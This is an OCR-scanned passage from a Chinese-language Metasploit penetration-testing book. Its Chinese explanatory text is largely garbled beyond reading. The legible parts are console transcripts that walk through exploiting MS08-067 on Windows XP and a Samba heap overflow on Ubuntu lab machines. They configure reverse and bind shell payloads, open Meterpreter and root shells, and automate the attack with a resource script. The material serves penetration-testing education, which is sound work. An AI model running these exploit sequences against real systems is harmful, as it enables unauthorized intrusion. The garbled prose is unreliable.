B E A R BB R 2R R SEFEAA N A8 8 B i - Metasploit [FBA S 2 ANBTHEFF R BT RBIE
PR, BT R el i,

5.1.2 msf> show auxiliary

XA AR R A KIS B L R BN EE. & Metasploit 9, MBMELSMFABRIEE
S, BENMWRER#E. ERREBETA, Fuzz AR, DEARBRENTA.

5.1.3 msf> show options

4 (Options> EfRiE Metasploit fEZR P AP ERETREITHIFENARRE. IRESFE S
- -MEER, I A msf> show options /5, =¥ HZMEMRAIHH SIS WEIWIRETHIE
TS, BLMAZ MM LESESHAERNERZE, BHXRE, HATLBERSRZBHFH
Loglevel, {F#BRHMNICRAZHEE N HH. /R4 07l A back #74, LLR[BIE| Metasploit
) E— R

msf > use windows/smb/ms08 067 netapl
mst exploit{mso8 067 netapi) » back
msf >

MEFBEERENMFENBBER D . MBS EEERN, R (search) &N H
H. #n, wREHkE—RX SQL BIEERNRTE, WA TEMNa-STLARESE SQL
RHIE.

mst > search mssql
[*] Searching loaded modules for pattern "mssql’...
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Auxiliary
Name Disclosure Date Rank Description
admin/mssql/mssql enum hormal Microsoft SOL Server Configuration
Enumerator
admin/mssql/mssql_exec notmal Microsoft SQL Server xp cmdshell
Command Execution
admin/mssql/mssql idf normal Microsoft SQL Server - Interesting
Data Finder
admin/mssql/mssql_sql normal Microsoft S0l Server Generic Query
scanner/mssgl/mssql_login normal MSSQL Login Utility
scanner/mssql/mssql_ping normal MSSQL Ping Utility
Exploits
- « ONIP . .
mst >

i, AP T ER @435 MS08-067 AR XK,  (MS08-067 X5 BEH
LR EARPCIIRS PR -5, RAAMER “C&” B4 Conficker {FH| BN RIARESA
A%, D

msf > search msO8 D7
[*] Searching loaded modules for pattern 'ms08 067°...

Exploits

e ———
Er——— g4 o

Name Rank Description

- Ll N L L LETFTTI Y R

windows/smb/ms08_067_netapi preat Microsoft Server Service Relative Path Stack Corruption

B M i B (windows/smb/ms08 067 netapi) J&, FTLAIER use 4 mikiith, WF

iRt

mst > use windows/smb/ms08_067_netapi
mst exploit(mso8 067 netapi) »

HERARITNITT use windows/smb/ms08_067_netapi fr4 /5, MSF &8 MR TR
T FHEEFET-

mst exploit{mso8_067_netapi) >

ERARMNCEIEET ms08_067_netapi BIR, KO RSN b BN S SMTEX A T
BRBE AT R
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R i 4T T A S &, BFT A48 ] search #v use $r4-FkE 5| 5 — A i g,

W, ECEERRMGSIRRET, fTLUKIA show options 75 MS08-067 B FTE /Y
28

msf exploit{ms08 067 netapi) > show options

Module options:

Name Current Setting Required Descriptien

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMEPIPE BROWSER yes The pipe name to use (BROWSER, SRVSV()

Exploit target:

0 Automatic Targeting

msf exploit{ms08 067_netapi) >

-—

XfE LT XXM R UG AL Metasploit FIRMER IR, FHULRERRE
FETANEFFTERNSZY.

5.1.4 msf> show payloads

A —TF, #H 2 BPRIINA T HERAAROHSEFER -BIH AR, 8T
HAFIE BT B AREITIIT. 70 show options dr & — 8, UHEEYHREBGOIERETEHA
show payloads fir2f}, Metasploit R&¥8 5 Y aTERBEAEMBEERH Bk, A HETF
Windows $2{ERERI B A7k, MEMNRGRFAER BN EHFEINR— M4 IT0E, &
FIFEBRE— M cEHERRERT. WA TEHNGSTLIEES R HAEEIRANBEE.

msf> show payloads

L HEIE) o 2% 278 Metasploit FHAHIFT ABHES, R RKREERT- - REFRS
BRE, RATRRSEFINEHTARBERGHBRGEAFIE. 26K, & msf exploit
(ms08 067 netapi) IBARFF T, 41T show payloads 4 NS ERT -BYRBIHEE.

TER BRI H £ BAVER search 43T MS08-067 Irasifish., Bl iLRBRI{ER show
payloads & 8 & & XM BRI BTGB A . EEEXE D HAFE¥ windows &K1
i B A & Bn 24, Metasploit — RS SEERBE RS Hv) 7 — YRR S 1Y 18 % Boh o ¥ B B
dF AT
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msf exploit{ms08 067 netapi) > show payloads

Compatible Payloads

et ———
[ gmripar—p— iy ———y—— — =y

Name

T omo-

. - « SNIP . . .
windows/shell/reverse ipvb {cp
windows/shell/reverse nonx tcp
windows/shell/reverse ord tcp
windows/shell/reverse tcp
windows/shell/reverse_tcep allports
windows/shell bind_tcp

windows/shell reverse_tcp

kank

Fg R

Description

Windows Command Shell, Reverse T(P
Stager (IPv6)

Windows Command Shell, Reverse TCP
Stager (No NX or Win7)

Windows Command Shell, Reverse
Ordinal TCP Stager (No NX or Win7)

Windows Command Shell, Rewverse T(P
Stager

Windows {ommand Shell, Reverse
All-Port TCP Stager

Windows Command Shell, Bind TCP
Inline

Windows Command Shell, Reverse TCP

Inline

noImal

noTmal

normal

normal

normal

naImal,

harmal

T KA set payload windows/shell/reverse_tep PAE#E reverse _tep( R B TCP #EE)
BLti# AT . %I\ show options 1 %5, 2F #— 0SS B k.

msf exploit{mso8 067 netapi) > set payload windows/shell/xeverse tcp ©

payload => windows/shell/reverse tcp

msf exploit(ms08 067 netapi} » show options @

Module options:

Name Current Setting Required
RHOST yes
RPORT 445 yes
SMBPIPE BROWSER Y5

Description

The target address

Set the 5MB service port

The pipe name to use (BROWSER, SRVSVC)

Exit technigue: seh, thread, process
The local address

®© Payload opticns (windows/shell/reverse tcp):
Name Current Setting Required Description
EXITFUNC thread yes
LHOST yes
LPORT 4444 yes

The local port

61



Metasploit &% R i 8 @

LRI TEONBRITER THHEA, FOLRIIENT HERNSHEEE, KEHEH
ZERAXKONERT — S84 TR, 4 LHOST 1 LPORT &. &MY, Ko UIELELLH
R EREE BB AL E IP Huhb R 5 1, BrLUE#Hoh — D R RN BHE8H . R
ARG RET, EERMEEEIERER, FHHEENSEAHHL. A LI{EHXMHEGT
W BA K IR NAT 5%,

JE I BRATH A XA B AT 6 LHOST (X HEHL) # RHOST GEEE) #THE,
¥ LHOST By RMNMWE DAL 1P Mk, w08 R EEI R EHEPLEGAR TCP 3RO
(4444 F.

5.1.5 msf> show targets

Metasploit f)iBE R A HGEE LIS ZIRNE W HEREP LR, BFKE, dTE
*f MS08-067 Sin BB 5 FRESE K AFEE, Pl B SH{H iF e R ERSR A,
BREBERATHENF TERI . EEERACURZEYHIH (EF 4 FHH 15 EPESEFAN
RERE ). TE MSF 23 MS08-067 HIRFFRET, SER60MTFEMIRSE (THA rhRE
BT HD—849). AHEEETRIIE ST HER Windows REMNRE, Gz AZRTHERX—
hEEM BEREIE T TIE, BEMEHREETITN, BHSFREARS BT,

msf exploit{ms08_067 netapi) » show targets

Expleit targets:

-_——- o =

Automatic Targeting

Windows 2000 Universal

Windows XP SPO/5P1 Umiversal
Windows XP SP2 English {NX)
Windows XP SP3 English {NX)
Windows 2003 SPO Universal
Windows 2003 SPL1 English {NO NX)
Windows 2003 5P1 English (NX)
Windows 2003 SP2 English {NO NX)
Windows 2003 5P2 English {NX)

O - Thow e O

XN WED “AsIEEHE" @ (Auto Targeting) B H #RF| R +HH—4%
M. BE, WERRSBE A RRERANBLGER, B2ERRERFERF LTI L. P,
B U IERGRET A T BN SRS B RENHRE R, XA 8RR E RN &)
PE R -

B RABIPABa N E e “ERBALE", RESGERRAEZHELATH LA
&, MAERBEANRERE H DR BEERNIE. o RAEER XA E DI ( Windows XP
SP2) b Mz A i, —FEFHREFEIFRFELLEHLER.
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5.1.6 info

SR show H search ir- S FrRALRIFE BRI FRI%E, sTLEMEH info 4r &N L TR &
K ERHERA MG R 2EEHURFTHTRHN ERRERSE: (MRTEFRTEMER,
BELESERPIER A TR info BITT D

mst exploit(mso8_067_netapi) > info

5.1.7 set #1 unset

Metasploit B PRIFTHZHAFHNMRE: EWE (set) BREE (unset). HEB¥L
HAR D AL IR Crequired), IXHMSELRELN FTERBR AT IERRE. ) show options
TSP LEFWMESH R LAY, FA set 2 TUNEASERITRE (AN BB ZSH);
Al unset p&F IR HXBR. FMMNHIRBRT set £ unset €4 B A k-

Ry ERNGFITIHEIANTZBELHARRATASS S, EHFRALEH, Kt
A G AR — AT ST IR,

msf exploit{mso8 067 netapi) > set RHOST 192.168.1,155 O
RHOST =»> 192.168.1.155

mst exploit{mso8 067 netapi) > set TARGET 3 ®

TARGET =» 3

mst exploit{ms08 067 netapi) > show options @

Module options:

Name Current Setting Required Description

RHOST 192.168.1.155  yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BRDWSER yEeSs The pipe name to use (BROWSER, SRVSVL)

Exploit target:

3 Windows XP SP2 English (NX}

msf exploit{msc8_067_netapi} > unset RHOST
Unsetting RHOST...

FEOLARMITBEHH 1P Hbk (RHOST) 35 192.168.1.155 (BIIMHERLR) . TOLHR
118 B sk tE REHKA N 3, I XX W {E FH “mst> show targets” 79 BT 5| B “ Windows
XP 8P2 English (NX) " . 7E@#A1Z4T T show options DAFA T ISR OB SE K.,
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5.1.8 setg #1 unsetg
setg -3 M unsetg M-S LN ER/EBHAITRERER. FRAXHMS LR LERIE
FREASEAEEFRE, 15 RFESHHI BT 2E, 0 LHOST.

5.1.9 save

EHH setg i M ERSEHITRERE, JLUEA save 52 AT IR B EREFE T E,
IXFEATREE) MSF 3t A v (FH X ¥ (0. £ Metasploit AP ] LAZE{E o] B 50\ save
S LR E LIRS

mst exploit(mso8 067 netapi) > save

Saved contiguration to: /root/.msf3/config

msf exploit(ms08 067 netapi) »

FEMmSIITE R PESHEHRFEME LRNE (oot msf3/config) . MBHT—HE
IR B E 2| R aG R E, A LURF X 304 B BR ek ah 3| 3L i &

52 FHFE—REZEWL

BB RERAEBIFNENNE, BICETHTEERHHEMA, heE T o6
£ MSF 25t i 2808, WERNEAB —REEAHIE T, B TERINERITRODE.
HUEZ 10, %13 3h R Windows XP Service Pack 2 Ft Ubuntu 9.04 & ERIFLE LML, T4
#7E Back|Track B HLEA B4 Al Metasploit.

RS 4 TPIREBRN B FARENHESX S Windows XP SP2 EBRIFLEEAT T A5,
AR &I T EXEPRIGER AR Z2RE: MS08-067 . BRIAEBEEASKM
WEPREE A e F T EREBEA i

S VREZETHAD R MRS, R — B4 mMITEsR e, RERS AN BRMEKER
e AR AN R ESRFERAN G . FLATRHEENREREZ — 27 Metasploit H{#H
nmap RIF{REBFA, W FFroR:

root@ht:/root# cd /opt/frameworky/msf3/
root@bt:/opt/frameworki/msf3# wsfconsole

L] SHIP L L] L ]

mst > nmap -$7T -A --script=smb-check-vulns -P0 192,168.33.130 ©
[*] exec: nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130

Starting Mmap 5.20 ( hitp://mmap.org ) at 2011-03-15 19:46 EDT
Warning: Traceroute does not support idle or connect scan, disabling...
NSE: Script Scanning completed.

Nmap scan report for 192.168.33.130

Host is up (0.000505 latency).

Mot shown: 991 closed ports
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PORT STATE SERVICE VERSION

21/tcp  open Tip Microsoft fipd

25/tcp open smtp Microsoft ESMTP &.0.2600.2180
Sc/tcp  open http Microsoft IIS webserver 5.1
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open hitps?

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msIpc Microsoft Windows RPC

1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
MAC Address: 00:0C:29:EA:26: 70 (VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003

0S details: Microsoft Windows XP Professional SP2 or Windows Sexver 2003 ©
Network Distance: 1 hop

Service Info: Hosti: iha;security; 0S: Windows

Host script results:
smb-check-vulns:
MS08-067: VULNERABLE &
Conficker: Likely CLEAN
regsvc DoS: CHECK DISABLED (add "--script-args=unsafe=1" to xun}
SMBv2 DoS (CVE-2009-3103): CHECK DISABLED {add '--script-args=unsafe=1" to run)

05 and Service detection performed, Please report any incorrect results at http://mmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.67 seconds
mst >

1M Metasploit P EIFB 7 nmap Bt —script=smb-check-vulns®. ¥ &- - T HIIERAT
nmap FAWEHERRIBE: -sT ZIFEBHE TCP I (Stealth TCP connect) , FAIELER
FEBREHXANSEGHITRORBEEITREN. (HLfESHIEET -S: FEHE TCP Syn 13
. ) -A RIEREREREHEMINEE (advanced OS detection) , ‘B3 — e R FHITHE
ARIHARAIR SR, R ARTNBHEELIFR.

FRA nmap BITHLEEOMHRERE T MS08-067: VULNERABLE. XA REAIRK TR
X & AT E . TmikRAOIEE Metasploit FIRF| o] H FltH B, HF2dK
ARG FEHL.

HHEERTRATEREIINSRERERE. SEHPINRFE (Service Pack) WAL K E
R, FENEHRT RS I seit T H3#ERIT IR (DEP: Data Execution Prevention). DEP
25T B X 8 B i, e R R R L Hik, BABTAL shellcode #EEA R
FEHERR X AT, BR, JIITLLET &8 AR RIERSd DEP &Y. (W4T DEP
B B AW CLE R hap. Avwwuninformed. org/?v=2&a=4)

fE L—/h ¥k, BA1ETT show targets 8527 T X155 E W A2 B SR H 7T H /Y
Hirt{ERGRAE ., BT MS08-067 B — X RAM A KB N = p#ei, BrildeiX
H, RNFEHEE BREALBFME I EFHOBHAR. EF EH nmap FEBER, RAITAT
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LK 2 © H Fr81E RS040 Windows XP Service Pack 2. (&R PE R AIEER Windows Server
2003, HEH THREEAH LAINBEBIRERFEFESHHE @B HO, FHLUERS S
BAERZGRTEEA K Bff 1R e BHFEETH Windows XP 28 UK.

F RN LB E, TERRRLEHEH:

msf > search ms08 067 netapi @
[*] Searching loaded modules for pattern 'ms08_067_netapi'...

—-——— e — — — —
[ ——

Name Rank Description
windows/smb/ms08 067 netapi pgreat Microsoft Server Service Relative Path Stack
Corruption

mst > wse windows/smb/ms08 067 netapi ©

msf exploit(msO8_067_netapi) > set PAYLOAD windows/weterpreter/reverse tcp @
payload => windows/meterpreter/reverse tcp

msf exploit(msOB_067 netapi) > show targets @

Exploit targets:

Id Name

Autpmatic Targeting

Windows 2000 Universal

Windows XP SP0O/SP1 Universal
Windows XP -5P2 English (NX} @
Windows XP 5P3 English (NX)
Windows 2003 5P0 Universal
Windows 2003 SP1 English (NO NX)
Windows 2003 SP1 English (NX)
Windows 2003 SP2 English (NO NX)
Windows 2003 5P2 English (NX)

Lo I R I L S Y R SR T

« « - SNIP . . .

26 HMWindows XP SP2 Japanese (NX)

L] L ] ] mlp - - | ]
msf exploit{msG8 067 netapi} > set TARGET 3
target =» 3

mst exploit(ms08 067 netapi) > set RMOST 192.168.33.130 @
RHOST => 192.168.33.130

mst exploit{ms08_067 netapi) > set LHOST 192.158.33.129 &
LHOST => 192.168.33.12%

mst exploit(ms08_067_netapi) > set LPORT £080 ©

LPORT => 8080

mst exploit(ms08_067 _netapi) > show options @
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Module options:

Name Current Setting Required Description

RHOST 192.168.33.130  yes The target address

RPORT 445 yes Set the SMB service port

SMBFIFE BROWSER yes The pipe name to use {BROWSER, SRVSWC

Payload options {windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.33.129 yes The local address

LPORT BOB0 yes The local port

Exploit target:

3 Windows %P SP2 English (NX}

A17E Metasploit EZEh A3 MS08-067 NetAPI B iR O. R FIE, FH use froOndk
X (windows/smb/ms08 067 _netapi) .

ET R, RNEEZREERTIET Windows REEN Meterpreter reverse_tep®, X AT
ERHERNE, SMEREIEE M RFERE, E#T LHOST FI8ER [P Huhtk, X5 5%
& A] PLIE ARG By A A LR IR D, B 58 NAT M2X.

Meterpreter RBNIEX PRI L ELHIMNBEERGTHR, - -REXGTHIERAEE-
Meterpreter & Metasploit HEAE PR T8, THRXEE T EBIEE B ARG BMEET AN MIZER
T

show targets #y 9 @ib R EERB IR H LKL B AR RZ BT . (K B MSF 13iE Bl 1,
& HE B AR AGHITIRD, MASET IS5, BR M MS08-067 FENEE
&, BEILHETEHABAIARE RFERE.)

TE@ 4 A s 2 P B4 2584 8 Windows XP SP2 English (NX). NX (No Execute) &8
B R AT 7, BN A T DEP 4247 . & Windows XP SP2 b, DEP 31\ R 5 H MU Windows
B REER.

£ 04 EAE R RHOST #7845 MS08-067 JiFK B #=EHL 1P Miht.

it set LHOST #r 5@ &R miEEdhl Xty 1P (BiX & Back|Track BBHHL), Eid
set LPORT QBB HHHMAWA TCP MO S. (¥ LPORT 3N, BEMHH —MRIEE
Ak — RS A VPR FEAROS, i 443, 80. 53 LUE 8080 HMEAHAERF.) B
5, RAHIA show options@ LA X B2 E O RE LH.
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SEOERE, LENERRE LWT

msf exploit{ms08 067_netapi} > exploit ©

[*¥] Started reverse handler on 192.168.33.129:8080

[*] Triggering the vulnerability...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (192.168.33.129:8080 -> 192,168,33,230:1487) ©
msf exploit(mso8 067 netapi} » sessions -1 @

Active sessions

1 meterpreter 192,168,33,129:8080 -> 192,168.33.130:1036 O

msf exploit(mso8 067 netapi) » sessions -i 1 ©
[*] Starting interaction with 1...

meterpreter > shell ®

Process 4060 created.

{hannel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C} Copyright 1985-2001 Microsoft Corp.

CANINDOWS\system32>

RAEH exploit ar-SO¥ISIL BTG IAER, FEF a0 B 53T B2 IR REDIM,
KBAVEE T — reverse_tep I =L Meterpreter i E AT 2150, BT LIEH] session -1 4
PHEBEEIETTH Meterpreter 15 0. pJLIED, BIINE —1=ERESINO, BWRRL]
R X &4 B briEfT T BGah. SRINABEIT oG (NRAEREL GRS — Meterpreter
ZEFIEHE R, FRETLIAA sessions -l -v. )

HOULH sessions -i | 2 ibERAIGE® S ID N 1 FBEFSEETEE., ERMNEITEN
T Meterpreter A2 H. shell . MBBWHEIEERE—T K EE ST shell, X4 EHEHT
B SRAMRET &I, O A shell g BN T BiF RARIAE L Gy 21T shell
.

MR, NCETETHRIE -S4 e, KRR a3 A show options KB E Nt
HrE e Hrga 4,

53 FH—4 Ubuntu F#]

iE T 1% Ubuntu 9.04 EXBIT—RARE M HE. BaERSBEER S FHS T4HE), HER
FEX B FmEEBRA RS ER S Sk,

68



EOH HENEZR

ms¥ > nmap -sT -A -PO 192.168.33.132

[*] exec: nmap -sT -A -P0 192.168.33.132

Starting Mmap 5.20 { http://pmap.org ) at 2011-03-15 19:35 EOT
Warning: Traceroute does rot support ldle or connect scan, disabling...
Mmzp scan report for 192.168.33.132

Host 1s up (0.000485 latency).

Mot shown: 997 closed ports

PORT STATE SERVICE VERSTDON

8o/tcp open http Apache httpd 2.2.3 ((Ubuntu) FHP/5.2.1) O

| _html-title: Index of /

139/tcp open netbios-ssp Samba smbd 3.X {workgroup: MSHOME) @
445/tcp open netbios-szp Samba smbd 3.X {workgzroup: MSHOME)

MAC Address: 00:00:29:21:AD:08 {VMware)

No exact 05 matches for host {IF you kpow what 05 is rwoning on it, see http://rmap.org/submit/ ).

L] - L S'HIP L L ] -

Host script results:

| _nbstat: NetBIOS name: UBUNTU, NetBIOS wser: <unknown>, NetBIOS MAC: <unknown>
| _smbv2-enabled: Server doesn't support SMBy} protocol

| smb-os-discovery:

| O5: Unix (Samba 3.0.24)

| Name: MSHOME\Unknown

|  System time: 2011-03-15 17:39:57 UTC-4

05 and Service detection perfommed. Please report anmy incorrect results at http://rmap.org/submit/
Nmap done: 1 IP address {1 hest up) scanned in 47.11 seconds

it nmap 134, BATEN 3 MTBEMNHEO: 80. 139 1445, AL REREIIXS
FHARE RS ) Ubuntu, @115 WY IEI24T#H Samba 3.x R4 HIFH# PHP 5.2.1 #] Apache
223 R%.

IR E — Samba BB B, 2R ERBEHXEEN. BHHEDF.

mst > search samba
[*] Searching loaded modules for pattern 'samba'...

Auxiliary

Name Rank Description

- - ke e — —ear Em o Wr BN B N B B

admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversal

dos/samba/lsa_addprivs_heap normal Samba lsa_io privilege set Heap Dverflow

dos/samba/lsa_transnames_heap normal Samba 1sa_ie_trans_names Heap Overflow
Exploits

hName Rank Description

linux/samba/1sa_transnames_heap good Samba 1sa_io trams_names . . .

+ « « SNIP . ..
msf > use linux/samba/lsa transnames_heap

msf exploit(lsa transnames heap) > show payloads
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Compatible Payleads

Name Rank Description
generic/debug trap normal Generic x8& Debug Trap
generic/shell bind tcp normal Generic Command Shell, Bind TCP Inline
generic/shell reverse tcp normal Generic Command Shell, Reverse TCP Inline
Iinux/x86/adduser normal Linux Add User
linux/x86/chmod normal Linux Chmod
linux/x86/exec normal Linux Execute Command
linux/x86/metsve_bind tep normal Linux Meterpreter Service, Bind TCP
Linux/x86/metsve_reverse_tcp normal Linux Meterpreter Service, Reverse TCP Inline
Linux/x86/shell/bind ipvé tcp normal Linux Command Shell, Bind TCP Staper (IPv6)
linux/xB86/shell/bind tep normal Linux Command Shell, Bind TCP Stager

. . - SNIP . ..

msf exploit{lsa transnames_heap) > set payleoad linux/x86/shell bind tcp
payload => linux/x86/shell_bind tcp

msf exploit{lsa transnames heap) > set LPORT 8080

LPORT => BO&0

msf exploit{lsa_transnames_heap) > set RHOST 192.168.33.132

RHOST => 142,168.33.132

msf expleit{lsa transnames_heap) > axploit

[*] Creating nop sled....

[*] Started bind handler

[*] Trying to exploit Samba with address oxffffeaio...
[*] Connecting to the SMB service...

L] L ] ] SHIP L ] ] L

[*] Calling the vulnerable function,,.
[+] Server did not respond, this is expected
[*] Command shell session 1 opened {102,168.33,.129:41551 -> 192.168.33.132:8080)

ifconfig

ethi Link encap:Ethernet HWaddr 00:00:29:21:AD:08
inet addr:192.168.33.132 Bcast:192.168.33.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3178 errors:0 dropped:0 overrums:0 frame:o
TX packets:2736 errors:0 dropped:Q overruns:0 carrier:o
Ccollisions:0 txqueuelen:1000
RX bytes:292351 (285.4 KiB) TX bytes:214234 (209.2 KiB)
Interrupt:17 Base address:0ox2060

lo Link encap:lLocal Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:o
collisions:0 txgueuelen:O
RX bytes:0 {0.0 b) TX bytes:0 {0.0 b)

whoami

root
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HEE BENLZIE

X RR M B ROy e Bl , S ERES R D KRR R BEAE, XRIY
iR 100% AT K. (WRFBIXEEGHFHD, BFREEH exploit if %L 218/, D

ABEEXDEThRIMER T —NE (bind) shell, FHEEH F4THFT — V5O,
Mectasploit HRATRIE I - EED B RGAER . GRE R Bdibh A NAT BN E
Pl NS R USRI T )

54 ZinPOBE#HEM: FNFEHERANEO

ERIE ] P, BOVZETRAGEM T, FTERMHT BT BIERMF R Mt 0% a
. EENRBNBGEAHRANBRE 7TAEESR I H SRS EE AT ? REATER)
KB R TR am O, B AR D —RCH, XRMER T B8 M A E SL 008 i
un D EER AN L.

FEANTRT BASE S 443 o DR H B kB 1L, RHEHIWEEESE FTP. Telnet. SSH EAK HTTP
EFMRGERAMEO, ATELE—HTER,., B Metasploit D2 ET — M AN ERITED
ENFFIZEREITHRD, RINEEHRIIFECSHO 2R

Metasploit FJXNME T Hra X BrA al A en LT 22, B3R REAH — AT
CANIE IR P A O 5 ) IR (B I [1-65535) 2 FE SR AR S AR 6] . )

T E RS XA BCEEAT, L E 20w R TER, BRI BIThERR S O Nt .

mst > use windows/smb/ms08 067 netapi

msf exploit(msoB 067 netapi) » set LHOST 192.168.33.129
lhost =» 192.168,33.129

smst exploit(mso& 067 netapi) > set RHOST 192.168.33.130
rhost =»> 192.168.33.130

mst exploit(msoB 067 netapi) > set TARGET 3

target =» 3

msf exploit(mso8 067 netapi) > search ports

[*] Searching loaded modules for pattern ‘ports'...

Compatible Payloads

o i - —_——
—E— s T — | — e — ) ——_. I ——

Name Rank Description

—_—— o — oy o

windows/dllinject/Teverse tcp allports normal Reflective DIl Injection,
Reverse All-Port TCP Stager
windows/meterpreter/reverse_tcp allports nommal Windows Meterpreter (Reflective
Injection}, Reverse All-Port TCP Stager

« « « ONIP . . .

ms¥ exploit(msoB_067 metapi) > set PAYLOAD windows/meterpreter/reverse_tcp allports
payload =» windows/meterpreter/reverse tcp allports

msf exploit(mso8 067 netapi) > exploit -j

[*] Exploit running as background job.
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mst exploit({msoB_067_netapi) »
[*] Started reverse handler on 192.168.33.126:1 ©
[#] Triggering the vulnerability...

[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened {192.168.33.129:1 -> 192.168.33.130:1047) ©

mst exploit{mso8 €67 netapi) > sessions -1 -v

Active sessions

Id Type Information Connection Via

1 meterpreter NT AUTHORITYASYSTEM @ IHAZSECURITY 192.168.33.129:1 -> 192.168.33.130:1047
exploit/windows/smb/ms0B_067 netapl

msf exploit(mso8 067 netapi} > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

EIERLMNEAEE LPORT &4, MEFH allports B H B AT RO LTI,
HEER —PTEATRmO. WRRTFHAEFOLRSRMBIIOKGHE TR 1 (F5H H5H
1D, E5HEIHN 1047 OB T TiHEES,

55 WENXH

PR (resource files) B MSF A EE RAGEMbGSHHA . X fFg
B _ER ] BATE MSF £ U iT i 251K, FIR S NG 0FH4T . Wil STk
K bWE ARy etE, iR eEEERGaeANIF 2 EZHTSEITEENL.

] LA MSF #3m{EH resource Sy BARFE X, SBTUIERERERI M SITHIS
PAE F-r B R BVR A1 8 MSF iR — M SIS RIBIT.

T HEXA R BRI FRoR T A8 - MR B Metasploit A, HEA B ZHEME
IR

rootgbt : fopt/framework3/msf3/ echo version » resource.rc 0
root@bt: fopt/frameworki/mst3/ echo load sounds »>> resource.rc ©
reot@bt:/opt/frameworki/msf3/ msfconsole -1 resource.rc ©
@ resource (resource.rc¢)> version
Framework: 3.7.0-dev.12220
Console : 3.7.0-dev.12220
resource {resource.rc)> load sounds
{*] Successfully loaded plugin: sounds
mst >

WRET ., fEOF@4L, version s S H load sounds 55 BA—P LM resource.rc B
B, XA ERE-r 2355 A3 msfeonsole 1O, BEX MR THEAN, Hba,
RS EPUT, HIWTE R0,

72



o E FENELZNR

RIS R PR M E R E AN RE S, B3N ES BN RENE. T
BB FRATHH NEHRNELH awoexploitre FIRIEIAF, KEBAT—K SMB Bidr. FA
ERXNMREXHEHRE VUG HER. AEEESSH, IFERTREHRABRHENZES
HHITFEFTRE 1.

rootibt - /opt/Framework3/ms 3/ echo use exploit Awindows/swb/ms08 067 netapi » autoexploit.rc
root@bt ; /opt/framework3/msf3/ echo set RHOST 192.168.1.1%5 >» autoexploit.re

root@bt : fopt /frameworki/msf1/ echo set PAYLOAD windows/meferpreter/reverse tep >3 autoexploit.rc
rootdot z/opt/frameworkd/msf3/ echo set LHOST 192.168.1.101 »» autoexploit.rc

rootébt : /opt/framework3/ms¥3/ echo exploit >» autoexploit.zc

rootibt : /opt/framework3/msf1/ msfconsole

msf > resource autoexploit.rc

resource {avtoewploit,rc)@> use exploit/windows/smb/ms08_067 netapi

resource [autoexploit.rc)s set RHOST 142.168.1.155

RHOST =>» 192.168.1.155

resource (autoexploit.rc)y set PAYLOAD windows/meterprater/reverse_tcp

PAYLOAD => windows/meterpreter/reverse top

respurce {autoexploit.rc)> set LHOST 192.168.1.101

LHOST =» 192.168.1.1M

resoutce (autoexploit.rc)> expledt

[*] Started reverse handler on 192.163.1.101:4444

[*] Triggering the vulnerability...

[*] Sending stage (747008 bytes)

[*] Meterpreter session 1 opened {192.168.1.101: 4444 -> 192.168.1.155:1033)

meterprefer »

X B RANE MSF 2amdp i IR AR AT, ST RSB &8 B30T, mHsRu
OfiTR.

B R -G e6F, EF 12 ¥F, k42 F 3 P fe{T#A Karmetasploit, &
A —AAE N BRI R L.

5.6 /&

PBIR, RELMEH MSF Kig 5 T F— R ERR EH B, FHRRTENTE2E
il 4L !

EFEP, RINNMATBEBEHRNAMINR, g SRR, IAT RN AHFE
Hl. BEREMARZRINHFAESPHAERETPHFENELRIS 2. FEPHEINMEA nmap A
P AT REFERTERARS, fRIcEM FRAIBE, HERBT RAENU R

TESE 6 . AT Meterpreter #H47 v iFMRIER, HEA UMM ARG GEREE -
R RIEBN -MREE, Meterpreter R KIIRES LRI E HIE-
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Meterpreter

FEEZTG, BRAVEN “BEBRLTET]” —Meterpreter AT EINFEARNT B, ERBEE
ZHRAREFBEI GBI HARE ) . Meterpreter J& Metasploit HEE2 P #— P RF-4H,
T HAF A e il v HH e PR XS0 AR B 0 A B A A A R e R e BE R [B] g5 WATT — N1 HiE
E. #lw, FAZETREER (RPC) BRER—MEAE, LFERAMERE, BINIERE Meterpreter
fER B8, MEERHRAEHFE RS LEI— T Meterpreter Shell #E# . Meterpreter &
Metasploit fE3EF— 3 B, W LLIFH Metaspioit 31— TheE, M EFERAETE HE
AREE, ZEIRARERIBE. AANFLESRIN. FEnHERN. FRA. Bikih
FE,

X -—E A Metasploit FIWRME & TiEKEE—& Windows XP L3¢, SBRiS5H H
Meterpreter fE A HEN, BTREERAERERZERERN—SHARSE FiESHEAR.



Metasploit ;& iZMiRAIE M

6.1 I4BH Windows XP EHIH

EFE M A48 Meterpreter BITHRERFMEZ 0, RANTLAEH LA —SRAEHBE -1
Meterpreter  shell.

6.1.1 {EA Nmap H#in

WAV IGER Nmap 3 HER¥ET 5 D3390, CORMT RS, 3T LT R R R
W, AR

msf > nmap -sT -A -PD 192.168.33.130 ©
[*] exec: nmap -sT -A -P0 192.168.33.130

. aNIP., . .
PORT STATE SERVICE VERSION
21/tcp  open Fip Microsoft fipd ©
25/tcp  open smip Microsoft ESMTP 6.0.2600.2180 @
80/tcp open http Microsoft IIS webserver 5.1 @
| html-title: Directory Listing Denied
135/1Cp open msrpc Microsoft Mindows RPC

139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

1025/tcp open msrpc Microsoft Windows RPC

1433/tcp open ms-sgl-s Microsoft SQL Server 2005 9.00.1399; RTM ®
b&4b/tcp open  unknown

